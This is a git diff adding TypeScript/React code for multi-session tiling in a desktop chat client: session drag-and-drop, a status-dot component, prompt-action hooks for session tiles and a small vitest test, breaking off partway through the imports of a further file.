+import { requestComposerInsertRefs } from './composer/focus'
+import { type SessionDragPayload, sessionInlineRef, sessionLabel } from './composer/inline-refs'
+
+/** A chat surface's drag-start geometry: the anchor pane id it advertises
+ *  (`data-session-anchor`) and the composer a link drop routes to
+ *  (`data-composer-target`). */
+interface SurfaceSnapshot {
+  anchor: string
+  composerTarget: string
+  rect: ZoneRect
+}
+
+const snapRect = (el: HTMLElement): ZoneRect => {
+  const r = el.getBoundingClientRect()
+
+  return { left: r.left, top: r.top, right: r.right, bottom: r.bottom }
+}
+
+/** Chat surfaces the pointer can land on. Inactive tabs are excluded: they stay
+ *  mounted with their layout box intact, so their rect is identical to the
+ *  visible tab's and a hit-test alone would pick whichever came first. */
+function snapshotSurfaces(): SurfaceSnapshot[] {
+  return queryAllVisible('[data-session-anchor]').map(el => ({
+    anchor: el.dataset.sessionAnchor || 'workspace',
+    composerTarget: el.dataset.composerTarget || 'main',
+    rect: snapRect(el)
+  }))
+}
+
+/** A session may land in any zone hosting a MAIN tile — another chat stack, a
+ *  Browser tile, a page — never the sidebar/terminal zones. Returns the pane a
+ *  stack anchors to, plus whether the zone hosts a CHAT surface (only those
+ *  offer the link-to-composer center; a preview zone's center stacks). */
+function tileZoneHost(groupId: string): { chat: boolean; pane: string } | null {
+  const tree = $layoutTree.get()
+  const panes = tree ? (findGroup(tree, groupId)?.panes ?? []) : []
+  const pane = panes.find(isSessionStripPane) ?? panes.find(isMainStripPane)
+
+  return pane ? { chat: panes.some(isSessionStripPane), pane } : null
+}
+
+/**
+ * Begin dragging a session — a sidebar row OR a tile's own tab (same drop
+ * language either way: stack, split, or composer link). Sub-threshold releases
+ * stay ordinary clicks, so `opts.onTap` (activate the tile) and `opts.double`
+ * (hide the tab bar) ride the tab's gestures; Esc aborts instantly. A stack/
+ * split commits through `openSessionTile`, which OPENS a new tile from a sidebar
+ * row and MOVES the existing one when its tab is the drag source.
+ */
+export function startSessionDrag(
+  payload: SessionDragPayload,
+  e: ReactPointerEvent<HTMLElement>,
+  opts?: { double?: DoubleTapContext; onTap?: () => void }
+) {
+  let zones: EngineZone[] = []
+  let strips: StripSnapshot[] = []
+  let surfaces: SurfaceSnapshot[] = []
+  let composers: ZoneRect[] = []
+  let zoneHost = new Map<string, ReturnType<typeof tileZoneHost>>()
+
+  // Commit intent, updated per resolved move (the machinery flushes the final
+  // move before commit, so these always match the released-at position).
+  let split: { anchor: string; before?: null | string; pos: TileDock } | null = null
+  let link: null | string = null
+
+  // The drag SOURCE (sidebar row or tile tab). Captured synchronously — React
+  // clears `currentTarget` after the pointerdown handler returns, but this runs
+  // inside it. Dimmed while lifted so the source reads as "picked up" — the
+  // same in-place feedback pane-tab drags use, replacing the old cursor chip.
+  const source = e.currentTarget
+  const restoreOpacity = source?.style.opacity ?? ''
+
+  startDragSession(e, {
+    double: opts?.double,
+    ghost: { label: sessionLabel(payload) },
+    onTap: opts?.onTap,
+
+    onEngage() {
+      zones = snapshotZones()
+      strips = snapshotStrips()
+      surfaces = snapshotSurfaces()
+      composers = queryAllVisible('[data-slot="composer-root"]').map(snapRect)
+      zoneHost = new Map(zones.map(zone => [zone.id, tileZoneHost(zone.id)]))
+      source?.style.setProperty('opacity', '0.45')
+      // The same sentinel the zone overlay + chat surfaces key off — the
+      // whole drop language (sheets, pills, caret, link overlay) lights up.
+      $treeDragging.set(SESSION_TILE_DRAG)
+    },
+
+    onEnd() {
+      if (source) {
+        source.style.opacity = restoreOpacity
+      }
+    },
+
+    resolveMove(x, y): DropHint | null {
+      const zone = zones.find(z => rectContains(z.rect, x, y))
+      const host = zone ? zoneHost.get(zone.id) : null
+
+      if (!zone || !host) {
+        split = null
+        link = null
+
+        return null
+      }
+
+      // The zone's TAB STRIP stacks the session at the divider's slot.
+      const strip = strips.find(s => s.groupId === zone.id && rectContains(s.rect, x, y))
+
+      if (strip) {
+        // Exclude the tile's OWN tab from the slots so re-dropping it in its
+        // home strip reorders cleanly (a no-op for a sidebar-row drag).
+        const stack = slotBefore(strip.slots, x, `session-tile:${payload.id}`)
+        split = { anchor: host.pane, before: stack.before, pos: 'center' }
+        link = null
+
+        return { kind: 'group', groupId: zone.id, groupIds: [zone.id], pos: 'center', stack }
+      }
+
+      // The composer (and everything in it) is always the link/attach drop;
+      // elsewhere the shared radial targeting decides center vs edge.
+      const pos = composers.some(rect => rectContains(rect, x, y)) ? 'center' : subZonePosition(zones, zone.id, x, y)
+      const surface = surfaces.find(s => rectContains(s.rect, x, y))
+
+      if (pos === 'center' && host.chat) {
+        split = null
+        link = surface?.composerTarget ?? 'main'
+      } else if (pos === 'center') {
+        // A preview/page zone has no composer to link to — its center stacks
+        // the session as a tab, same as dropping on the strip's tail.
+        split = { anchor: host.pane, pos: 'center' }
+        link = null
+      } else {
+        split = { anchor: surface?.anchor ?? host.pane, pos }
+        link = null
+      }
+
+      return { kind: 'group', groupId: zone.id, groupIds: [zone.id], pos }
+    },
+
+    onCommit() {
+      if (split) {
+        openSessionTile(payload.id, split.pos, split.anchor, split.before)
+        // A tile for this session may already exist (openSessionTile is
+        // idempotent — e.g. persisted from an earlier run): a drop must never
+        // feel dead, so front/unhide/un-dismiss it either way.
+        revealTreePane(`session-tile:${payload.id}`)
+      } else if (link) {
+        // The "link to chat" drop: an @session chip in that surface's composer.
+        requestComposerInsertRefs([sessionInlineRef(payload)], { target: link })
+      }
+    }
+  })
+}
diff --git a/ui-desktop/src/app/chat/session-status-dot.tsx b/ui-desktop/src/app/chat/session-status-dot.tsx
new file mode 100644
index 000000000..94204d666
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-status-dot.tsx
@@ -0,0 +1,167 @@
+import { useStore } from '@nanostores/react'
+
+import { StatusPulse } from '@/components/ui/status-pulse'
+import { type Translations, useI18n } from '@/i18n'
+import { useStoreSelector } from '@/lib/use-session-slice'
+import { cn } from '@/lib/utils'
+import { $backgroundRunningSessionIds } from '@/store/composer-status'
+import { $unreadFinishedSessionIds } from '@/store/session'
+import { $sessionColorById, sessionColorFor } from '@/store/session-color'
+import { $attentionSessionIds, $stalledSessionIds, $workingSessionIds } from '@/store/session-states'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { type SessionDotState, sessionDotState } from './sidebar/session-row-state'
+
+// A pure lookup table: each state maps to its className, aria-label, and title.
+// No priority resolution here — sessionDotState already picked one. Label/title
+// resolve from sidebar.row translations, keyed by name.
+type DotVariant = {
+  ariaLabel?: (r: Translations['sidebar']['row']) => string
+  className: string
+  pulse?: {
+    className: string
+    opacity: number
+  }
+  role?: 'status'
+  title?: (r: Translations['sidebar']['row']) => string
+}
+
+// Shared base for every active dot; idle is smaller and uses its own class.
+const DOT_BASE = 'relative size-1.5 rounded-full'
+
+const DOT_VARIANTS: Record<SessionDotState, DotVariant> = {
+  // Amber steady — a clarify/approval is blocking the turn. Steady (not
+  // pulsing) reads as "your turn", distinct from the accent pulse of a turn.
+  'needs-input': {
+    ariaLabel: r => r.needsInput,
+    className: `${DOT_BASE} quest-glow bg-amber-500`,
+    role: 'status',
+    title: r => r.waitingForAnswer
+  },
+  // Accent pulse — the LLM turn is actively running.
+  working: {
+    ariaLabel: r => r.sessionRunning,
+    className: `${DOT_BASE} bg-(--ui-accent) shadow-[0_0_0.625rem_color-mix(in_srgb,var(--ui-accent)_55%,transparent)]`,
+    pulse: {
+      className: 'absolute inset-0 rounded-full bg-(--ui-accent) opacity-0',
+      opacity: 0.7
+    },
+    role: 'status'
+  },
+  // Quiet accent pulse — the turn is still authoritative-running, but no
+  // stream activity has arrived for the watchdog window.
+  stalled: {
+    ariaLabel: r => r.sessionRunning,
+    className: `${DOT_BASE} bg-(--ui-accent) opacity-70`,
+    pulse: {
+      className: 'absolute inset-0 rounded-full bg-(--ui-accent) opacity-0',
+      opacity: 0.4
+    },
+    role: 'status',
+    title: r => r.sessionRunning
+  },
+  // Pulsing gray — a terminal(background=true) process is alive while the LLM
+  // is idle. Gray (not accent) reads as "something chugging along". Brighter
+  // than muted-foreground so it's visible against the surface.
+  background: {
+    ariaLabel: r => r.backgroundRunning,
+    className: `${DOT_BASE} bg-muted-foreground/80`,
+    pulse: {
+      className: 'absolute inset-0 rounded-full bg-muted-foreground/80 opacity-0',
+      opacity: 0.6
+    },
+    role: 'status',
+    title: r => r.backgroundRunning
+  },
+  // Steady green — a background session's turn completed and the user hasn't
+  // opened it since. "Something new here, go look."
+  unread: {
+    ariaLabel: r => r.finishedUnread,
+    className: `${DOT_BASE} bg-emerald-500`,
+    role: 'status',
+    title: r => r.finishedUnread
+  },
+  idle: {
+    className: 'size-1 rounded-full bg-(--ui-text-quaternary) opacity-80'
+  }
+}
+
+export interface SessionStatusDotProps {
+  /** The STORED session id — the key every live-state atom (working /
+   *  attention / stalled / unread / background) is keyed by, on BOTH surfaces:
+   *  the sidebar row's `session.id` and a pane tile's `storedSessionId` are the
+   *  same stored id (`$workingSessionIds` et al. map `storedSessionId`). */
+  storedSessionId: string
+  /** The session row for color resolution — recents OR the project tree. Both
+   *  call sites already hold it; passing it lets the idle dot inherit the
+   *  project color even for a session older than the paginated recents page
+   *  (which has no `$sessionColorById` entry). */
+  session?: null | SessionInfo
+  /** TUI-style tree stem for a branched session (`└─ ` / `├─ `). */
+  branchStem?: string
+  /** Applied to the OUTER wrapper (stem + dot) — e.g. hover-fade on the
+   *  reorder handle. */
+  className?: string
+}
+
+/**
+ * SESSION STATUS DOT — the ONE primitive both the sidebar row and the pane tab
+ * render, so a session's status/color can never disagree between the two
+ * surfaces. It reads every signal itself from the shared stores keyed by the
+ * stored session id: live state (working / needs-input / stalled / unread /
+ * background, mutually exclusive via `sessionDotState`) and the resolved color
+ * (override → project color, via `sessionColorFor`). An idle session shows its
+ * project color; the active states own the dot with their semantic color so an
+ * attention cue is never masked by the inherited tint.
+ */
+export function SessionStatusDot({ storedSessionId, session, branchStem, className }: SessionStatusDotProps) {
+  const { t } = useI18n()
+  const r = t.sidebar.row
+
+  // Subscribe to the shared color map for reactivity; sessionColorFor falls
+  // back to the resolver for a session outside the recents page.
+  useStore($sessionColorById)
+  const color = sessionColorFor(session) ?? null
+
+  // Per-session membership as booleans via useStoreSelector: these arrays tick
+  // on every stream delta (any session working/stalled/etc changes the array
+  // reference), but a given dot only repaints when ITS OWN membership flips.
+  // A plain useStore(array).includes(id) re-rendered every dot on every tick.
+  const needsInput = useStoreSelector($attentionSessionIds, ids => ids.includes(storedSessionId))
+  const isWorking = useStoreSelector($workingSessionIds, ids => ids.includes(storedSessionId))
+  const isStalled = useStoreSelector($stalledSessionIds, ids => ids.includes(storedSessionId))
+  const isUnread = useStoreSelector($unreadFinishedSessionIds, ids => ids.includes(storedSessionId))
+  const hasBackground = useStoreSelector($backgroundRunningSessionIds, ids => ids.includes(storedSessionId))
+
+  const dotState = sessionDotState({ hasBackground, isStalled, isUnread, isWorking, needsInput })
+  const variant = DOT_VARIANTS[dotState]
+
+  return (
+    <span className={cn('flex items-center gap-0.5', className)}>
+      {branchStem ? (
+        <span aria-hidden className="shrink-0 font-mono text-[0.625rem] leading-none text-(--ui-text-quaternary)">
+          {branchStem}
+        </span>
+      ) : null}
+      {dotState === 'idle' && color ? (
+        <span aria-hidden="true" className="size-1 rounded-full" style={{ backgroundColor: color }} />
+      ) : (
+        <span
+          aria-label={variant.ariaLabel?.(r)}
+          className={variant.className}
+          role={variant.role}
+          title={variant.title?.(r)}
+        >
+          {variant.pulse ? (
+            <StatusPulse
+              aria-hidden="true"
+              className={variant.pulse.className}
+              kind="ping"
+              opacity={variant.pulse.opacity}
+            />
+          ) : null}
+        </span>
+      )}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/app/chat/session-tile-actions.ts b/ui-desktop/src/app/chat/session-tile-actions.ts
new file mode 100644
index 000000000..fc16adf61
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-tile-actions.ts
@@ -0,0 +1,501 @@
+/**
+ * Prompt actions for a SESSION TILE — the same verbs the primary chat wires
+ * (submit incl. slash, cancel, steer, edit, reload, restore, branch-hide
+ * sync), targeted at the tile's session instead of the active one. State
+ * writes go through the delegate's `updateSession` (the wiring cache), so
+ * the cache, the primary view, and every tile mirror stay one truth; view
+ * concerns (busy pill, transcript) reach the tile via its `$sessionStates`
+ * slice — never the global `$busy`/`$messages`.
+ */
+
+import type { AppendMessage, ThreadMessage } from '@assistant-ui/react'
+import { useCallback, useMemo, useRef } from 'react'
+
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+import type { ClientSessionState } from '@/app/types'
+import { PROMPT_SUBMIT_REQUEST_TIMEOUT_MS } from '@/clawcodex'
+import { useI18n } from '@/i18n'
+import { textPart } from '@/lib/chat-messages'
+import { SLASH_COMMAND_RE } from '@/lib/chat-runtime'
+import { triggerHaptic } from '@/lib/haptics'
+import { clearClarifyRequest } from '@/store/clarify'
+import type { ComposerAttachment } from '@/store/composer'
+import { resetSessionBackground } from '@/store/composer-status'
+import { notifyError } from '@/store/notifications'
+import { clearPreviewArtifacts } from '@/store/preview-status'
+import { clearAllPrompts } from '@/store/prompts'
+import { $connection, $sessions, sessionMatchesStoredId } from '@/store/session'
+import { $sessionStates, sessionTileDelegate } from '@/store/session-states'
+import { broadcastSessionsChanged } from '@/store/session-sync'
+import { clearSessionSubagents } from '@/store/subagents'
+import { clearSessionTodos } from '@/store/todos'
+import { setSessionDraftingTool } from '@/store/tool-drafting'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { uploadComposerAttachment } from '../session/hooks/use-prompt-actions'
+import {
+  applyBranchVisibility,
+  applyReloadOptimistic,
+  applyRewindOptimistic,
+  finalizeInterruptedMessages,
+  planEdit,
+  planReload,
+  planRestore,
+  runRewindSubmit,
+  truncateSubmitParams
+} from '../session/hooks/use-prompt-actions/rewind'
+import { useSubmitPrompt } from '../session/hooks/use-prompt-actions/submit'
+import { type SubmitTextOptions } from '../session/hooks/use-prompt-actions/utils'
+import { upsertOptimisticSession } from '../session/hooks/use-session-actions/utils'
+
+import type { ComposerScope } from './composer/scope'
+
+/**
+ * List a tile's session in the sidebar/tab strip on its first send.
+ *
+ * A ⌘T tab's session is created UNLISTED (see `openNewSessionTile`), so it has
+ * no `$sessions` row until its first turn persists and a refresh surfaces it —
+ * for that whole first exchange the tab and the sidebar read "New session".
+ * ⌘N has no such gap: its session is created per-send and seeded with the
+ * user's text as the row preview. Seeding the same way here names the session
+ * within the first message; the server's auto-title supersedes it once the turn
+ * completes.
+ *
+ * No-ops on empty text and on a session that is already listed, so re-sends
+ * never clobber a real title with a raw message preview.
+ */
+export function listTileSessionRow(deps: {
+  cwd?: string
+  model?: string
+  preview: string
+  runtimeId: string
+  sessions: readonly SessionInfo[]
+  storedSessionId: string
+}): boolean {
+  const preview = deps.preview.trim()
+
+  if (!preview || deps.sessions.some(session => sessionMatchesStoredId(session, deps.storedSessionId))) {
+    return false
+  }
+
+  upsertOptimisticSession(
+    { info: { cwd: deps.cwd, model: deps.model }, session_id: deps.runtimeId, stored_session_id: deps.storedSessionId },
+    deps.storedSessionId,
+    null,
+    preview
+  )
+  broadcastSessionsChanged()
+
+  return true
+}
+
+interface SessionTileActionsArgs {
+  runtimeId: string
+  scope: ComposerScope
+  storedSessionId: string
+}
+
+export function useSessionTileActions({ runtimeId, scope, storedSessionId }: SessionTileActionsArgs) {
+  const { t } = useI18n()
+  const copy = t.desktop
+  const { requestGateway } = useGatewayRequest()
+
+  const runtimeIdRef = useRef(runtimeId)
+  runtimeIdRef.current = runtimeId
+  const storedIdRef = useRef(storedSessionId)
+  storedIdRef.current = storedSessionId
+
+  // Tile busy tracks the SESSION state, never the global $busy — and it must
+  // read LIVE. A render-time snapshot goes stale (this hook's host doesn't
+  // re-render on busy edges), and a stale `true` silently blocks every
+  // subsequent submit ("tile only sends one message"). The setter is a no-op:
+  // session state owns busy; submit's optimistic writes flow through
+  // updateSession.
+  const busyRef = useMemo(
+    () =>
+      ({
+        get current() {
+          return $sessionStates.get()[runtimeIdRef.current]?.busy ?? false
+        },
+        set current(_value: boolean) {
+          // Owned by session state.
+        }
+      }) as { current: boolean },
+    []
+  )
+
+  const update = useCallback(
+    (updater: (state: ClientSessionState) => ClientSessionState) =>
+      sessionTileDelegate()?.updateSession(runtimeIdRef.current, updater),
+    []
+  )
+
+  const readState = useCallback(() => $sessionStates.get()[runtimeIdRef.current], [])
+  const readMessages = useCallback(() => readState()?.messages ?? [], [readState])
+
+  // A ⌘T tab's session is unlisted until its first turn persists — seed the
+  // row from the user's first message so the tab and sidebar name it right
+  // away (see listTileSessionRow).
+  const listTileSession = useCallback((preview: string) => {
+    const runtimeId = runtimeIdRef.current
+    const state = $sessionStates.get()[runtimeId]
+
+    listTileSessionRow({
+      cwd: state?.cwd,
+      model: state?.model,
+      preview,
+      runtimeId,
+      sessions: $sessions.get(),
+      storedSessionId: storedIdRef.current
+    })
+  }, [])
+
+  // Tile-side attachment staging: same upload rules as the primary submit
+  // (skip synced/pathless, byte-upload files+images), against the tile scope.
+  const syncAttachmentsForSubmit = useCallback(
+    async (
+      sessionId: string,
+      attachments: ComposerAttachment[],
+      options: { updateComposerAttachments?: boolean } = {}
+    ): Promise<{ attachments: ComposerAttachment[]; sessionId: string }> => {
+      const remote = $connection.get()?.mode === 'remote'
+      let liveSessionId = sessionId
+      const synced: ComposerAttachment[] = []
+
+      // A tile owns its own runtime binding, so a recovery here rebinds the
+      // tile's ref rather than the foreground session's.
+      const onSessionRecovered = (recoveredId: string) => {
+        liveSessionId = recoveredId
+        runtimeIdRef.current = recoveredId
+      }
+
+      for (const attachment of attachments) {
+        if (!attachment.path || attachment.attachedSessionId === liveSessionId) {
+          synced.push(attachment)
+
+          continue
+        }
+
+        if (attachment.kind === 'image' || attachment.kind === 'file') {
+          const next = await uploadComposerAttachment(attachment, {
+            backendCwd: readState()?.cwd,
+            remote,
+            requestGateway,
+            sessionId: liveSessionId,
+            storedSessionId: storedIdRef.current,
+            onSessionRecovered
+          })
+
+          if (options.updateComposerAttachments ?? true) {
+            scope.attachments.update(next)
+          }
+
+          synced.push(next)
+
+          continue
+        }
+
+        synced.push(attachment)
+      }
+
+      return { attachments: synced, sessionId: liveSessionId }
+    },
+    [requestGateway, scope.attachments]
+  )
+
+  // The REAL submit pipeline with tile seams: session always exists, and the
+  // scope's writers replace the global view/attachment writes.
+  const submitPromptText = useSubmitPrompt({
+    activeSessionIdRef: runtimeIdRef,
+    busyRef,
+    copy,
+    createBackendSessionForSend: async () => runtimeIdRef.current,
+    getRoutedStoredSessionId: () => storedIdRef.current,
+    getRuntimeIdForStoredSession: storedId => (storedId === storedIdRef.current ? runtimeIdRef.current : null),
+    // A tile IS its session — no route to abandon, so the create-abort guard's
+    // token is a stable constant (the guard never trips for a tile).
+    getRouteToken: () => runtimeId,
+    requestGateway,
+    // Tile ids are always bound before this hook mounts, so routed recovery is
+    // unreachable here; keep the shared submit contract explicit.
+    resumeStoredSession: () => undefined,
+    selectedStoredSessionIdRef: storedIdRef,
+    syncAttachmentsForSubmit,
+    updateSessionState: (sessionId, updater) => sessionTileDelegate()!.updateSession(sessionId, updater),
+    scope: {
+      clearAttachments: scope.attachments.clear,
+      readAttachments: () => scope.attachments.$attachments.get(),
+      // Busy/messages flow through updateSession -> the tile's state slice;
+      // the primary view atoms must never see a tile turn.
+      setAwaitingResponse: () => undefined,
+      setBusy: () => undefined,
+      setMessages: () => undefined
+    }
+  })
+
+  const submitText = useCallback(
+    async (rawText: string, options?: SubmitTextOptions) => {
+      const visibleText = rawText.trim()
+      const attachments = options?.attachments ?? scope.attachments.$attachments.get()
+
+      listTileSession(visibleText)
+
+      if (!attachments.length && SLASH_COMMAND_RE.test(visibleText)) {
+        triggerHaptic('selection')
+        await sessionTileDelegate()?.executeSlash(visibleText, runtimeIdRef.current)
+
+        return true
+      }
+
+      return await submitPromptText(rawText, options)
+    },
+    [listTileSession, scope.attachments.$attachments, submitPromptText]
+  )
+
+  const cancelRun = useCallback(async () => {
+    const sessionId = runtimeIdRef.current
+
+    update(state => ({
+      ...state,
+      messages: finalizeInterruptedMessages(state.messages, state.streamId),
+      busy: false,
+      awaitingResponse: false,
+      streamId: null,
+      pendingBranchGroup: null,
+      needsInput: false,
+      interrupted: true
+    }))
+
+    clearSessionTodos(sessionId)
+    clearSessionSubagents(sessionId)
+    resetSessionBackground(sessionId)
+    setSessionDraftingTool(sessionId, '')
+    clearAllPrompts(sessionId)
+    clearClarifyRequest(undefined, sessionId)
+
+    try {
+      await requestGateway('session.interrupt', { session_id: sessionId })
+    } catch (err) {
+      notifyError(err, copy.stopFailed)
+    }
+  }, [copy.stopFailed, requestGateway, update])
+
+  const steerPrompt = useCallback(
+    async (rawText: string): Promise<boolean> => {
+      const text = rawText.trim()
+      const sessionId = runtimeIdRef.current
+
+      if (!text || !sessionId) {
+        return false
+      }
+
+      const messageId = `user-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`
+
+      const mutate = (updater: (state: ClientSessionState) => ClientSessionState) =>
+        sessionTileDelegate()?.updateSession(sessionId, updater)
+
+      // Match the primary composer: insert the correction before the active
+      // reply before awaiting the redirect RPC, whose completion can race us.
+      mutate(state => {
+        const message = {
+          id: messageId,
+          role: 'user' as const,
+          parts: [textPart(text)]
+        }
+
+        const streamIndex = state.streamId ? state.messages.findIndex(candidate => candidate.id === state.streamId) : -1
+
+        const lastAssistantIndex = state.messages.map(candidate => candidate.role).lastIndexOf('assistant')
+        const insertionIndex = streamIndex >= 0 ? streamIndex : lastAssistantIndex
+
+        const messages =
+          insertionIndex >= 0
+            ? [...state.messages.slice(0, insertionIndex), message, ...state.messages.slice(insertionIndex)]
+            : [...state.messages, message]
+
+        return { ...state, messages }
+      })
+
+      const discardOptimisticMessage = () =>
+        mutate(state => ({
+          ...state,
+          messages: state.messages.filter(message => message.id !== messageId)
+        }))
+
+      const moveOptimisticMessageToEnd = () =>
+        mutate(state => {
+          const message = state.messages.find(candidate => candidate.id === messageId)
+
+          return message
+            ? { ...state, messages: [...state.messages.filter(candidate => candidate.id !== messageId), message] }
+            : state
+        })
+
+      try {
+        const result = await requestGateway<{ status?: string }>('session.redirect', {
+          session_id: sessionId,
+          text
+        })
+
+        if (result?.status === 'redirected') {
+          triggerHaptic('submit')
+
+          return true
+        }
+
+        if (result?.status === 'queued') {
+          moveOptimisticMessageToEnd()
+          triggerHaptic('submit')
+
+          return true
+        }
+      } catch {
+        discardOptimisticMessage()
+        // Swallow — the caller queues the text so nothing is lost.
+
+        return false
+      }
+
+      discardOptimisticMessage()
+
+      return false
+    },
+    [requestGateway]
+  )
+
+  // Rewind primitive (interrupt-first for live turns, busy-retry) — shared with
+  // the primary chat so the two can't diverge.
+  const submitRewind = useCallback(
+    (text: string, truncateOrdinal: number | undefined, interruptFirst: boolean) =>
+      runRewindSubmit(requestGateway, runtimeIdRef.current, text, truncateOrdinal, interruptFirst, {
+        storedSessionId: storedIdRef.current,
+        onSessionRecovered: recoveredId => {
+          runtimeIdRef.current = recoveredId
+        }
+      }),
+    [requestGateway]
+  )
+
+  const reloadFromMessage = useCallback(
+    async (parentId: string | null) => {
+      const state = readState()
+
+      if (!state || state.busy) {
+        return
+      }
+
+      const plan = planReload(state.messages, parentId)
+
+      if (!plan) {
+        return
+      }
+
+      update(current => applyReloadOptimistic(current, plan))
+
+      try {
+        await requestGateway(
+          'prompt.submit',
+          {
+            session_id: runtimeIdRef.current,
+            text: plan.text,
+            ...truncateSubmitParams(plan.truncateOrdinal)
+          },
+          PROMPT_SUBMIT_REQUEST_TIMEOUT_MS
+        )
+      } catch (err) {
+        update(current => ({ ...current, busy: false, awaitingResponse: false }))
+        notifyError(err, copy.regenerateFailed)
+      }
+    },
+    [copy.regenerateFailed, readState, requestGateway, update]
+  )
+
+  const restoreToMessage = useCallback(
+    async (messageId: string, target?: { text?: string; userOrdinal?: number | null }) => {
+      const sessionId = runtimeIdRef.current
+      const messages = readMessages()
+      const plan = planRestore(messages, messageId, target)
+
+      clearSessionTodos(sessionId)
+      resetSessionBackground(sessionId)
+      clearPreviewArtifacts(sessionId)
+
+      const wasBusy = readState()?.busy ?? false
+
+      update(state => applyRewindOptimistic(state, plan.sourceIndex))
+
+      try {
+        await submitRewind(plan.text, plan.truncateOrdinal, wasBusy)
+      } catch (err) {
+        update(state => ({ ...state, busy: false, awaitingResponse: false, messages }))
+        throw err
+      }
+    },
+    [readMessages, readState, submitRewind, update]
+  )
+
+  const editMessage = useCallback(
+    async (edited: AppendMessage) => {
+      const messages = readMessages()
+      const plan = planEdit(messages, edited)
+
+      if (!plan) {
+        return
+      }
+
+      const sessionId = runtimeIdRef.current
+
+      clearSessionTodos(sessionId)
+      resetSessionBackground(sessionId)
+      clearPreviewArtifacts(sessionId)
+
+      const wasBusy = readState()?.busy ?? false
+
+      update(state => applyRewindOptimistic(state, plan.sourceIndex, plan.editedMessage))
+
+      try {
+        await submitRewind(plan.text, plan.truncateOrdinal, wasBusy)
+      } catch (err) {
+        update(state => ({ ...state, busy: false, awaitingResponse: false, messages }))
+        notifyError(err, copy.editFailed)
+      }
+    },
+    [copy.editFailed, readMessages, readState, submitRewind, update]
+  )
+
+  // Branch-visibility sync (assistant-ui hides non-active branches).
+  const handleThreadMessagesChange = useCallback(
+    (nextMessages: readonly ThreadMessage[]) => update(state => applyBranchVisibility(state, nextMessages)),
+    [update]
+  )
+
+  const dismissError = useCallback(
+    (messageId: string) => {
+      update(state => ({ ...state, messages: state.messages.filter(m => m.id !== messageId) }))
+    },
+    [update]
+  )
+
+  return useMemo(
+    () => ({
+      cancelRun,
+      dismissError,
+      editMessage,
+      handleThreadMessagesChange,
+      reloadFromMessage,
+      restoreToMessage,
+      steerPrompt,
+      submitText
+    }),
+    [
+      cancelRun,
+      dismissError,
+      editMessage,
+      handleThreadMessagesChange,
+      reloadFromMessage,
+      restoreToMessage,
+      steerPrompt,
+      submitText
+    ]
+  )
+}
diff --git a/ui-desktop/src/app/chat/session-tile-row.test.ts b/ui-desktop/src/app/chat/session-tile-row.test.ts
new file mode 100644
index 000000000..6278a6f71
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-tile-row.test.ts
@@ -0,0 +1,82 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { $sessions } from '@/store/session'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { listTileSessionRow } from './session-tile-actions'
+
+const STORED = 'stored-tab'
+const RUNTIME = 'runtime-tab'
+
+function row(overrides: Partial<SessionInfo> = {}): SessionInfo {
+  return {
+    cwd: null,
+    ended_at: null,
+    id: STORED,
+    input_tokens: 0,
+    is_active: true,
+    last_active: 1,
+    message_count: 1,
+    model: null,
+    output_tokens: 0,
+    parent_session_id: null,
+    preview: null,
+    source: 'desktop',
+    started_at: 1,
+    title: null,
+    tool_call_count: 0,
+    ...overrides
+  }
+}
+
+function seed(preview: string, sessions: SessionInfo[] = $sessions.get()) {
+  return listTileSessionRow({
+    cwd: '/work/repo',
+    model: 'claude-opus-5',
+    preview,
+    runtimeId: RUNTIME,
+    sessions,
+    storedSessionId: STORED
+  })
+}
+
+describe('listTileSessionRow', () => {
+  beforeEach(() => $sessions.set([]))
+  afterEach(() => $sessions.set([]))
+
+  it("lists an unlisted ⌘T tab from the user's first message", () => {
+    expect(seed('fix the tab titles')).toBe(true)
+
+    const listed = $sessions.get().find(session => session.id === STORED)
+
+    expect(listed?.preview).toBe('fix the tab titles')
+    expect(listed?.cwd).toBe('/work/repo')
+    // Title stays null so the server's auto-title is what eventually wins.
+    expect(listed?.title).toBeNull()
+  })
+
+  it('leaves an already-listed session alone so a real title survives re-sends', () => {
+    const titled = row({ title: 'Tab title fix' })
+
+    expect(seed('second message', [titled])).toBe(false)
+    expect($sessions.get()).toHaveLength(0)
+  })
+
+  it('matches a listed session across compression by lineage root', () => {
+    const rotated = row({ _lineage_root_id: STORED, id: 'stored-tab-compressed-2' })
+
+    expect(seed('after compression', [rotated])).toBe(false)
+  })
+
+  it('does not list a session on an empty or whitespace-only send', () => {
+    expect(seed('')).toBe(false)
+    expect(seed('   ')).toBe(false)
+    expect($sessions.get()).toHaveLength(0)
+  })
+
+  it('trims the seeded preview', () => {
+    seed('  padded prompt  ')
+
+    expect($sessions.get()[0]?.preview).toBe('padded prompt')
+  })
+})
diff --git a/ui-desktop/src/app/chat/session-tile.tsx b/ui-desktop/src/app/chat/session-tile.tsx
new file mode 100644
index 000000000..a7b29934e
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-tile.tsx
@@ -0,0 +1,609 @@
+/**
+ * SESSION TILES — a stored session rendered as a layout-tree pane BESIDE the
+ * main thread (multi-session tiling). A tile IS the real chat surface: the
+ * same ChatView/ChatBar/Thread tree the primary session renders, mounted
+ * under a tile `SessionView` (its session's slice of `$sessionStates`) and a
+ * tile `ComposerScope` (own attachment chips, own focus-bus key). Actions
+ * (submit/slash/steer/edit/reload/restore/stop) come from
+ * `useSessionTileActions`, all writing through the wiring cache.
+ *
+ * Lifecycle: `openSessionTile(storedId)` -> `watchSessionTiles` registers a
+ * pane contribution docked right of the main zone -> tree adoption lands it
+ * -> the pane mounts and asks the delegate for a live runtime id. Closing
+ * the pane (tab Close) removes the tile + its zone; tiles persist across
+ * restarts and re-resume on boot.
+ */
+
+import { useStore } from '@nanostores/react'
+import { useQueryClient } from '@tanstack/react-query'
+import { atom, computed } from 'nanostores'
+import { useCallback, useEffect, useMemo, useRef, useSyncExternalStore } from 'react'
+
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+import { useModelControls } from '@/app/session/hooks/use-model-controls'
+import { blobToDataUrl } from '@/app/session/hooks/use-prompt-actions/utils'
